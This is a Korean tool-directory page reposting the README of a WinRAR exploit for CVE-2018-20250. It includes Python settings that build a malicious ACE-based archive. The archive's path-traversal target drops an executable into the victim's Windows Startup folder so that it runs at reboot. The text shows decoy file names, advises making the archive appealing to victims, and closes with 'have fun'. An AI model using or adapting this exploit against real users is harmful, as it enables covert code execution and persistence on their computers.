Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-20250 — https://research.checkpoint.com/extracting-code-execution-from-winrar에 대한 exp | Kitploit
도구/GitHubGitHub/wyatu/cve-2018-20250
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubwyatu/cve-2018-20250

CVE-2018-20250

https://research.checkpoint.com/extracting-code-execution-from-winrar에 대한 exp

저장소 보기
4921717년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

exp for Winrar에서 코드 실행 추출

Ridter의 poc

사용 방법?

Python 3.7을 설치하고, 실행하려는 악성 파일을 준비한 다음, 원하는 값을 설정하기만 하면 됩니다. 이 exp 스크립트는 악성 아카이브 파일을 자동으로 생성합니다!

  1. 원하는 값을 설정하세요
root@kitploit:~
... ...

# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]

... ...

def get_right_hdr_crc(filename):
    # This command may be different, it depends on the your Python3 environment.
    p = os.popen('py -3 acefile.py --headers %s'%(filename))
    res = p.read()
    pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
    result = pattern.findall(res)
    right_hdr_crc = result[0].upper()
    return hex2raw4(right_hdr_crc)

... ...

  1. exp를 실행하면 test.rar가 자동으로 생성됩니다.

  2. 피해자가 test.rar를 열면 hello.txt와 world.txt 파일이 보입니다. 파일을 더 추가할 수도 있고, 더 매력적인 파일로 만들 수도 있습니다.

  1. 피해자가 파일의 압축을 풀면 피해자의 사용자 시작 프로그램 디렉터리에 hi.exe라는 파일이 하나 더 생깁니다. 실제로는 calc.exe입니다. 컴퓨터를 다시 시작하면 hi.exe가 실행됩니다.

재미있게 사용하세요! :)

도구 다운로드